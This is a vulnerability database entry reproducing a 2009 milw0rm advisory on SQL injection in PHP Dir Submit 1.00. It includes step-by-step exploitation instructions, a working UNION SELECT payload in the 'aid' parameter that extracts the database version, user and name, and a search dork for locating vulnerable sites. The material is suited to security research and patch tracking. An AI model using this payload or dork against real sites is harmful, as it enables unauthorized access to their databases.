PHP Dir Submit Version 1.00 (aid) Remote SQL Injection Vuln

vendor:

PHP Dir Submit

by:

milw0rm.com

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: PHP Dir Submit

Affected Version From: 1.00

Affected Version To: 1.00

Patch Exists: NO

Related CWE: N/A

CPE: a:phpdirsubmit:php_dir_submit

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

PHP Dir Submit Version 1.00 (aid) Remote SQL Injection Vuln

A vulnerability exists in PHP Dir Submit Version 1.00 (aid) which allows an attacker to inject arbitrary SQL commands. An attacker can exploit this vulnerability by registering in the site, adding a post, and pressing on 'View Article'. The attacker can then inject arbitrary SQL commands via the 'aid' parameter in the 'showarticle' menu.

Mitigation:

N/A

Source

Exploit-DB raw data:

======================================================================
[Â»] Script : PHP Dir Submit Version 1.00 (aid) Remote SQL Injection Vuln

[Â»] Language : php

[Â»] Dork : Powered by PHP Dir Submit - Directory Submission Script  

[Â»] Script site : http://www.phpdirsubmit.com

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------
u must be registered in site

step1:
go to : 
-------
www.xxx.com/path/index.php?menu=signup
-------
step2:
after that : 
-------
add post from here

www.xxx.com/index.php?menu=articles
-------
step3:
press on "View Article" 
and start to inject


http://www.xxx.com/path/index.php?menu=showarticle&aid=3+and+1=0/**/union/**/select/**/1,version(),3,4,user(),database(),7,8,9,10,11--

--------
demo:
--------
http://demo.phpdirsubmit.com
--------

# milw0rm.com [2009-08-24]